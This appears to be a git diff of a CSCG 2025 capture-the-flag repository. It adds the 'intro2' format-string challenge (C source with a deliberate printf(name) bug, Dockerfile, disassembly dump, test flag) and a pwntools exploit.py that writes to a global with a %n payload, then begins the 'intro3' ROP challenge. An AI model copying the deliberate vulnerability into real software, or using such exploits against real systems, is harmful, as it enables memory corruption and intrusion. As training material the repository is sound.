{ url = "https://files.pythonhosted.org/packages/06/27/4a1b4c267c29a464a161aeb2589aff212b4db653a1d96bffe3598f3f0d22/zstandard-0.23.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2240ddc86b74966c34554c49d00eaafa8200a18d3a5b6ffbf7da63b11d74ee2", size = 4945269, upload-time = "2024-07-15T00:16:20.136Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7c/64/d99261cc57afd9ae65b707e38045ed8269fbdae73544fd2e4a4d50d0ed83/zstandard-0.23.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ef230a8fd217a2015bc91b74f6b3b7d6522ba48be29ad4ea0ca3a3775bf7dd5", size = 5306228, upload-time = "2024-07-15T00:16:23.398Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/cf/27b74c6f22541f0263016a0fd6369b1b7818941de639215c84e4e94b2a1c/zstandard-0.23.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:774d45b1fac1461f48698a9d4b5fa19a69d47ece02fa469825b442263f04021f", size = 5336891, upload-time = "2024-07-15T00:16:26.391Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fa/18/89ac62eac46b69948bf35fcd90d37103f38722968e2981f752d69081ec4d/zstandard-0.23.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f77fa49079891a4aab203d0b1744acc85577ed16d767b52fc089d83faf8d8ed", size = 5436310, upload-time = "2024-07-15T00:16:29.018Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a8/a8/5ca5328ee568a873f5118d5b5f70d1f36c6387716efe2e369010289a5738/zstandard-0.23.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac184f87ff521f4840e6ea0b10c0ec90c6b1dcd0bad2f1e4a9a1b4fa177982ea", size = 4859912, upload-time = "2024-07-15T00:16:31.871Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ea/ca/3781059c95fd0868658b1cf0440edd832b942f84ae60685d0cfdb808bca1/zstandard-0.23.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c363b53e257246a954ebc7c488304b5592b9c53fbe74d03bc1c64dda153fb847", size = 4936946, upload-time = "2024-07-15T00:16:34.593Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/11/41a58986f809532742c2b832c53b74ba0e0a5dae7e8ab4642bf5876f35de/zstandard-0.23.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:e7792606d606c8df5277c32ccb58f29b9b8603bf83b48639b7aedf6df4fe8171", size = 5466994, upload-time = "2024-07-15T00:16:36.887Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/83/e3/97d84fe95edd38d7053af05159465d298c8b20cebe9ccb3d26783faa9094/zstandard-0.23.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a0817825b900fcd43ac5d05b8b3079937073d2b1ff9cf89427590718b70dd840", size = 4848681, upload-time = "2024-07-15T00:16:39.709Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6e/99/cb1e63e931de15c88af26085e3f2d9af9ce53ccafac73b6e48418fd5a6e6/zstandard-0.23.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:9da6bc32faac9a293ddfdcb9108d4b20416219461e4ec64dfea8383cac186690", size = 4694239, upload-time = "2024-07-15T00:16:41.83Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ab/50/b1e703016eebbc6501fc92f34db7b1c68e54e567ef39e6e59cf5fb6f2ec0/zstandard-0.23.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fd7699e8fd9969f455ef2926221e0233f81a2542921471382e77a9e2f2b57f4b", size = 5200149, upload-time = "2024-07-15T00:16:44.287Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/aa/e0/932388630aaba70197c78bdb10cce2c91fae01a7e553b76ce85471aec690/zstandard-0.23.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:d477ed829077cd945b01fc3115edd132c47e6540ddcd96ca169facff28173057", size = 5655392, upload-time = "2024-07-15T00:16:46.423Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/02/90/2633473864f67a15526324b007a9f96c96f56d5f32ef2a56cc12f9548723/zstandard-0.23.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ce8b52c5987b3e34d5674b0ab529a4602b632ebab0a93b07bfb4dfc8f8a33", size = 5191299, upload-time = "2024-07-15T00:16:49.053Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b0/4c/315ca5c32da7e2dc3455f3b2caee5c8c2246074a61aac6ec3378a97b7136/zstandard-0.23.0-cp313-cp313-win32.whl", hash = "sha256:a9b07268d0c3ca5c170a385a0ab9fb7fdd9f5fd866be004c4ea39e44edce47dd", size = 430862, upload-time = "2024-07-15T00:16:51.003Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a2/bf/c6aaba098e2d04781e8f4f7c0ba3c7aa73d00e4c436bcc0cf059a66691d1/zstandard-0.23.0-cp313-cp313-win_amd64.whl", hash = "sha256:f3513916e8c645d0610815c257cbfd3242adfd5c4cfa78be514e5a3ebb42a41b", size = 495578, upload-time = "2024-07-15T00:16:53.135Z" },
|
||||
]
|
||||
55
2025/cscg/pwn/intro2/Dockerfile
Normal file
55
2025/cscg/pwn/intro2/Dockerfile
Normal file
@@ -0,0 +1,55 @@
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
musl-dev \
|
||||
musl-tools \
|
||||
make \
|
||||
xz-utils && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
|
||||
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
|
||||
/work/ynetd-0.1.2.tar.xz
|
||||
|
||||
RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
gcc libc-dev make && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
COPY ./intro-fmt.c ./Makefile /work
|
||||
|
||||
RUN make intro-fmt
|
||||
RUN echo "13ee0bca90243810a56ea7678bd89871dd93e390ae0094a79e0f788ac4bc9da9 ./intro-fmt" | sha256sum -c
|
||||
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner
|
||||
|
||||
COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd
|
||||
|
||||
COPY --from=challenge-builder /work/intro-fmt /intro-fmt
|
||||
COPY ./flag /flag
|
||||
|
||||
EXPOSE 1024
|
||||
|
||||
CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-fmt"]
|
||||
8
2025/cscg/pwn/intro2/Makefile
Normal file
8
2025/cscg/pwn/intro2/Makefile
Normal file
@@ -0,0 +1,8 @@
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -g -std=c99 -g -no-pie
|
||||
|
||||
intro-fmt: intro-fmt.c
|
||||
$(CC) $(CFLAGS) -o intro-fmt intro-fmt.c
|
||||
|
||||
clean:
|
||||
rm -f intro-fmt
|
||||
224
2025/cscg/pwn/intro2/dump
Normal file
224
2025/cscg/pwn/intro2/dump
Normal file
@@ -0,0 +1,224 @@
|
||||
|
||||
intro-fmt: file format elf64-x86-64
|
||||
|
||||
|
||||
Disassembly of section .init:
|
||||
|
||||
0000000000401000 <_init>:
|
||||
401000: 48 83 ec 08 sub rsp,0x8
|
||||
401004: 48 8b 05 d5 2f 00 00 mov rax,QWORD PTR [rip+0x2fd5] # 403fe0 <__gmon_start__@Base>
|
||||
40100b: 48 85 c0 test rax,rax
|
||||
40100e: 74 02 je 401012 <_init+0x12>
|
||||
401010: ff d0 call rax
|
||||
401012: 48 83 c4 08 add rsp,0x8
|
||||
401016: c3 ret
|
||||
|
||||
Disassembly of section .plt:
|
||||
|
||||
0000000000401020 <puts@plt-0x10>:
|
||||
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
|
||||
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
|
||||
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401030 <puts@plt>:
|
||||
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 <puts@GLIBC_2.2.5>
|
||||
401036: 68 00 00 00 00 push 0x0
|
||||
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401040 <system@plt>:
|
||||
401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 404008 <system@GLIBC_2.2.5>
|
||||
401046: 68 01 00 00 00 push 0x1
|
||||
40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401050 <printf@plt>:
|
||||
401050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 404010 <printf@GLIBC_2.2.5>
|
||||
401056: 68 02 00 00 00 push 0x2
|
||||
40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401060 <read@plt>:
|
||||
401060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 404018 <read@GLIBC_2.2.5>
|
||||
401066: 68 03 00 00 00 push 0x3
|
||||
40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401070 <setvbuf@plt>:
|
||||
401070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 404020 <setvbuf@GLIBC_2.2.5>
|
||||
401076: 68 04 00 00 00 push 0x4
|
||||
40107b: e9 a0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401080 <exit@plt>:
|
||||
401080: ff 25 a2 2f 00 00 jmp QWORD PTR [rip+0x2fa2] # 404028 <exit@GLIBC_2.2.5>
|
||||
401086: 68 05 00 00 00 push 0x5
|
||||
40108b: e9 90 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
0000000000401090 <_start>:
|
||||
401090: 31 ed xor ebp,ebp
|
||||
401092: 49 89 d1 mov r9,rdx
|
||||
401095: 5e pop rsi
|
||||
401096: 48 89 e2 mov rdx,rsp
|
||||
401099: 48 83 e4 f0 and rsp,0xfffffffffffffff0
|
||||
40109d: 50 push rax
|
||||
40109e: 54 push rsp
|
||||
40109f: 45 31 c0 xor r8d,r8d
|
||||
4010a2: 31 c9 xor ecx,ecx
|
||||
4010a4: 48 c7 c7 9d 12 40 00 mov rdi,0x40129d
|
||||
4010ab: ff 15 27 2f 00 00 call QWORD PTR [rip+0x2f27] # 403fd8 <__libc_start_main@GLIBC_2.34>
|
||||
4010b1: f4 hlt
|
||||
4010b2: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010b9: 00 00 00
|
||||
4010bc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
00000000004010c0 <_dl_relocate_static_pie>:
|
||||
4010c0: c3 ret
|
||||
4010c1: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010c8: 00 00 00
|
||||
4010cb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
|
||||
|
||||
00000000004010d0 <deregister_tm_clones>:
|
||||
4010d0: b8 40 40 40 00 mov eax,0x404040
|
||||
4010d5: 48 3d 40 40 40 00 cmp rax,0x404040
|
||||
4010db: 74 13 je 4010f0 <deregister_tm_clones+0x20>
|
||||
4010dd: b8 00 00 00 00 mov eax,0x0
|
||||
4010e2: 48 85 c0 test rax,rax
|
||||
4010e5: 74 09 je 4010f0 <deregister_tm_clones+0x20>
|
||||
4010e7: bf 40 40 40 00 mov edi,0x404040
|
||||
4010ec: ff e0 jmp rax
|
||||
4010ee: 66 90 xchg ax,ax
|
||||
4010f0: c3 ret
|
||||
4010f1: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010f8: 00 00 00 00
|
||||
4010fc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401100 <register_tm_clones>:
|
||||
401100: be 40 40 40 00 mov esi,0x404040
|
||||
401105: 48 81 ee 40 40 40 00 sub rsi,0x404040
|
||||
40110c: 48 89 f0 mov rax,rsi
|
||||
40110f: 48 c1 ee 3f shr rsi,0x3f
|
||||
401113: 48 c1 f8 03 sar rax,0x3
|
||||
401117: 48 01 c6 add rsi,rax
|
||||
40111a: 48 d1 fe sar rsi,1
|
||||
40111d: 74 11 je 401130 <register_tm_clones+0x30>
|
||||
40111f: b8 00 00 00 00 mov eax,0x0
|
||||
401124: 48 85 c0 test rax,rax
|
||||
401127: 74 07 je 401130 <register_tm_clones+0x30>
|
||||
401129: bf 40 40 40 00 mov edi,0x404040
|
||||
40112e: ff e0 jmp rax
|
||||
401130: c3 ret
|
||||
401131: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
401138: 00 00 00 00
|
||||
40113c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401140 <__do_global_dtors_aux>:
|
||||
401140: f3 0f 1e fa endbr64
|
||||
401144: 80 3d 1d 2f 00 00 00 cmp BYTE PTR [rip+0x2f1d],0x0 # 404068 <completed.0>
|
||||
40114b: 75 13 jne 401160 <__do_global_dtors_aux+0x20>
|
||||
40114d: 55 push rbp
|
||||
40114e: 48 89 e5 mov rbp,rsp
|
||||
401151: e8 7a ff ff ff call 4010d0 <deregister_tm_clones>
|
||||
401156: c6 05 0b 2f 00 00 01 mov BYTE PTR [rip+0x2f0b],0x1 # 404068 <completed.0>
|
||||
40115d: 5d pop rbp
|
||||
40115e: c3 ret
|
||||
40115f: 90 nop
|
||||
401160: c3 ret
|
||||
401161: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
401168: 00 00 00 00
|
||||
40116c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401170 <frame_dummy>:
|
||||
401170: f3 0f 1e fa endbr64
|
||||
401174: eb 8a jmp 401100 <register_tm_clones>
|
||||
|
||||
0000000000401176 <ignore_me_init_buffering>:
|
||||
401176: 55 push rbp
|
||||
401177: 48 89 e5 mov rbp,rsp
|
||||
40117a: 48 8b 05 cf 2e 00 00 mov rax,QWORD PTR [rip+0x2ecf] # 404050 <stdin@GLIBC_2.2.5>
|
||||
401181: b9 00 00 00 00 mov ecx,0x0
|
||||
401186: ba 02 00 00 00 mov edx,0x2
|
||||
40118b: be 00 00 00 00 mov esi,0x0
|
||||
401190: 48 89 c7 mov rdi,rax
|
||||
401193: e8 d8 fe ff ff call 401070 <setvbuf@plt>
|
||||
401198: 48 8b 05 a1 2e 00 00 mov rax,QWORD PTR [rip+0x2ea1] # 404040 <stdout@GLIBC_2.2.5>
|
||||
40119f: b9 00 00 00 00 mov ecx,0x0
|
||||
4011a4: ba 02 00 00 00 mov edx,0x2
|
||||
4011a9: be 00 00 00 00 mov esi,0x0
|
||||
4011ae: 48 89 c7 mov rdi,rax
|
||||
4011b1: e8 ba fe ff ff call 401070 <setvbuf@plt>
|
||||
4011b6: 48 8b 05 a3 2e 00 00 mov rax,QWORD PTR [rip+0x2ea3] # 404060 <stderr@GLIBC_2.2.5>
|
||||
4011bd: b9 00 00 00 00 mov ecx,0x0
|
||||
4011c2: ba 02 00 00 00 mov edx,0x2
|
||||
4011c7: be 00 00 00 00 mov esi,0x0
|
||||
4011cc: 48 89 c7 mov rdi,rax
|
||||
4011cf: e8 9c fe ff ff call 401070 <setvbuf@plt>
|
||||
4011d4: 90 nop
|
||||
4011d5: 5d pop rbp
|
||||
4011d6: c3 ret
|
||||
|
||||
00000000004011d7 <vuln>:
|
||||
4011d7: 55 push rbp
|
||||
4011d8: 48 89 e5 mov rbp,rsp
|
||||
4011db: 48 81 ec 10 04 00 00 sub rsp,0x410
|
||||
4011e2: 48 8d 05 1f 0e 00 00 lea rax,[rip+0xe1f] # 402008 <_IO_stdin_used+0x8>
|
||||
4011e9: 48 89 c7 mov rdi,rax
|
||||
4011ec: e8 3f fe ff ff call 401030 <puts@plt>
|
||||
4011f1: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410]
|
||||
4011f8: ba ff 03 00 00 mov edx,0x3ff
|
||||
4011fd: 48 89 c6 mov rsi,rax
|
||||
401200: bf 00 00 00 00 mov edi,0x0
|
||||
401205: e8 56 fe ff ff call 401060 <read@plt>
|
||||
40120a: 89 45 fc mov DWORD PTR [rbp-0x4],eax
|
||||
40120d: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
|
||||
401210: 83 e8 01 sub eax,0x1
|
||||
401213: 48 98 cdqe
|
||||
401215: c6 84 05 f0 fb ff ff mov BYTE PTR [rbp+rax*1-0x410],0x0
|
||||
40121c: 00
|
||||
40121d: 48 8d 05 f7 0d 00 00 lea rax,[rip+0xdf7] # 40201b <_IO_stdin_used+0x1b>
|
||||
401224: 48 89 c7 mov rdi,rax
|
||||
401227: b8 00 00 00 00 mov eax,0x0
|
||||
40122c: e8 1f fe ff ff call 401050 <printf@plt>
|
||||
401231: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410]
|
||||
401238: 48 89 c7 mov rdi,rax
|
||||
40123b: b8 00 00 00 00 mov eax,0x0
|
||||
401240: e8 0b fe ff ff call 401050 <printf@plt>
|
||||
401245: 48 8d 05 da 0d 00 00 lea rax,[rip+0xdda] # 402026 <_IO_stdin_used+0x26>
|
||||
40124c: 48 89 c7 mov rdi,rax
|
||||
40124f: e8 dc fd ff ff call 401030 <puts@plt>
|
||||
401254: 8b 05 12 2e 00 00 mov eax,DWORD PTR [rip+0x2e12] # 40406c <bug>
|
||||
40125a: 85 c0 test eax,eax
|
||||
40125c: 74 2d je 40128b <vuln+0xb4>
|
||||
40125e: 48 8d 05 c3 0d 00 00 lea rax,[rip+0xdc3] # 402028 <_IO_stdin_used+0x28>
|
||||
401265: 48 89 c7 mov rdi,rax
|
||||
401268: b8 00 00 00 00 mov eax,0x0
|
||||
40126d: e8 de fd ff ff call 401050 <printf@plt>
|
||||
401272: 48 8d 05 fc 0d 00 00 lea rax,[rip+0xdfc] # 402075 <_IO_stdin_used+0x75>
|
||||
401279: 48 89 c7 mov rdi,rax
|
||||
40127c: e8 bf fd ff ff call 401040 <system@plt>
|
||||
401281: bf 00 00 00 00 mov edi,0x0
|
||||
401286: e8 f5 fd ff ff call 401080 <exit@plt>
|
||||
40128b: 48 8d 05 ee 0d 00 00 lea rax,[rip+0xdee] # 402080 <_IO_stdin_used+0x80>
|
||||
401292: 48 89 c7 mov rdi,rax
|
||||
401295: e8 96 fd ff ff call 401030 <puts@plt>
|
||||
40129a: 90 nop
|
||||
40129b: c9 leave
|
||||
40129c: c3 ret
|
||||
|
||||
000000000040129d <main>:
|
||||
40129d: 55 push rbp
|
||||
40129e: 48 89 e5 mov rbp,rsp
|
||||
4012a1: 48 83 ec 10 sub rsp,0x10
|
||||
4012a5: 89 7d fc mov DWORD PTR [rbp-0x4],edi
|
||||
4012a8: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
|
||||
4012ac: b8 00 00 00 00 mov eax,0x0
|
||||
4012b1: e8 c0 fe ff ff call 401176 <ignore_me_init_buffering>
|
||||
4012b6: b8 00 00 00 00 mov eax,0x0
|
||||
4012bb: e8 17 ff ff ff call 4011d7 <vuln>
|
||||
4012c0: b8 00 00 00 00 mov eax,0x0
|
||||
4012c5: c9 leave
|
||||
4012c6: c3 ret
|
||||
|
||||
Disassembly of section .fini:
|
||||
|
||||
00000000004012c8 <_fini>:
|
||||
4012c8: 48 83 ec 08 sub rsp,0x8
|
||||
4012cc: 48 83 c4 08 add rsp,0x8
|
||||
4012d0: c3 ret
|
||||
42
2025/cscg/pwn/intro2/exploit.py
Normal file
42
2025/cscg/pwn/intro2/exploit.py
Normal file
@@ -0,0 +1,42 @@
|
||||
from pwn import *
|
||||
|
||||
# Set the context for the binary
|
||||
context.binary = './intro-fmt' # Replace with your binary's name
|
||||
|
||||
# Choose local or remote
|
||||
LOCAL = True # Change to False if connecting remotely
|
||||
|
||||
if LOCAL:
|
||||
p = process(context.binary.path)
|
||||
else:
|
||||
p = remote("75143f5062f22bfeb9302387-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
|
||||
def send_payload(payload):
|
||||
p.sendline(payload)
|
||||
|
||||
def recv_until(delim):
|
||||
return p.recvuntil(delim)
|
||||
|
||||
def interact():
|
||||
p.interactive()
|
||||
|
||||
bug_addr = 0x40406c
|
||||
|
||||
|
||||
# Example interaction
|
||||
recv_until(b'What is your name?')
|
||||
|
||||
format_string = b""
|
||||
format_string += b"%0.0s" * 5
|
||||
format_string += b"%0.0s" * 10
|
||||
format_string += b"%n"
|
||||
format_string += b"\n" * (8 - (len(format_string) % 8))
|
||||
print(len(format_string) / 8)
|
||||
format_string += p64(bug_addr)
|
||||
|
||||
print(format_string)
|
||||
|
||||
print("enter if gdb attached")
|
||||
input()
|
||||
send_payload(format_string)
|
||||
|
||||
interact() # Keep the shell open
|
||||
1
2025/cscg/pwn/intro2/flag
Normal file
1
2025/cscg/pwn/intro2/flag
Normal file
@@ -0,0 +1 @@
|
||||
CSCG{testflag}
|
||||
BIN
2025/cscg/pwn/intro2/intro-fmt
Executable file
BIN
2025/cscg/pwn/intro2/intro-fmt
Executable file
Binary file not shown.
41
2025/cscg/pwn/intro2/intro-fmt.c
Normal file
41
2025/cscg/pwn/intro2/intro-fmt.c
Normal file
@@ -0,0 +1,41 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// --------------------------------------------------- SETUP
|
||||
|
||||
void ignore_me_init_buffering() {
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
// --------------------------------------------------- VULNERABLE FUNCTION
|
||||
|
||||
int bug = 0;
|
||||
void vuln() {
|
||||
char name[1024];
|
||||
printf("What is your name?\n");
|
||||
int number_read = read(STDIN_FILENO, name, sizeof(name) - 1);
|
||||
name[number_read - 1] = 0;
|
||||
printf("Thank you ");
|
||||
printf(name);
|
||||
printf("!\n");
|
||||
if (bug) {
|
||||
printf("Oh, you got here somehow, you must have triggered a bug.. Here is "
|
||||
"the flag: ");
|
||||
system("cat /flag");
|
||||
exit(0);
|
||||
}
|
||||
printf("But our flag is in another branch!\n");
|
||||
}
|
||||
|
||||
// --------------------------------------------------- MAIN
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
ignore_me_init_buffering();
|
||||
|
||||
vuln();
|
||||
}
|
||||
56
2025/cscg/pwn/intro3/Dockerfile
Normal file
56
2025/cscg/pwn/intro3/Dockerfile
Normal file
@@ -0,0 +1,56 @@
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
musl-dev \
|
||||
musl-tools \
|
||||
make \
|
||||
xz-utils && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
|
||||
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
|
||||
/work/ynetd-0.1.2.tar.xz
|
||||
|
||||
RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
gcc libc-dev && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
COPY ./intro-rop.c /work/intro-rop.c
|
||||
|
||||
RUN gcc ./intro-rop.c -o ./intro-rop
|
||||
|
||||
RUN echo "e8004a854d4ad3ef7818f88632db90a31518445803d28fc7757d882ae162de1c ./intro-rop" | sha256sum -c
|
||||
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner
|
||||
|
||||
COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd
|
||||
|
||||
COPY --from=challenge-builder /work/intro-rop /intro-rop
|
||||
COPY ./flag /flag
|
||||
|
||||
EXPOSE 1024
|
||||
|
||||
CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-rop"]
|
||||
550
2025/cscg/pwn/intro3/dump
Normal file
550
2025/cscg/pwn/intro3/dump
Normal file
@@ -0,0 +1,550 @@
|
||||
|
||||
intro-rop: file format elf64-x86-64
|
||||
|
||||
|
||||
Disassembly of section .init:
|
||||
|
||||
0000000000001000 <_init>:
|
||||
1000: 48 83 ec 08 sub rsp,0x8
|
||||
1004: 48 8b 05 c5 2f 00 00 mov rax,QWORD PTR [rip+0x2fc5] # 3fd0 <__gmon_start__@Base>
|
||||
100b: 48 85 c0 test rax,rax
|
||||
100e: 74 02 je 1012 <_init+0x12>
|
||||
1010: ff d0 call rax
|
||||
1012: 48 83 c4 08 add rsp,0x8
|
||||
1016: c3 ret
|
||||
|
||||
Disassembly of section .plt:
|
||||
|
||||
0000000000001020 <dlinfo@plt-0x10>:
|
||||
1020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
|
||||
1026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
|
||||
102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000001030 <dlinfo@plt>:
|
||||
1030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 4000 <dlinfo@GLIBC_2.34>
|
||||
1036: 68 00 00 00 00 push 0x0
|
||||
103b: e9 e0 ff ff ff jmp 1020 <_init+0x20>
|
||||
|
||||
0000000000001040 <dlerror@plt>:
|
||||
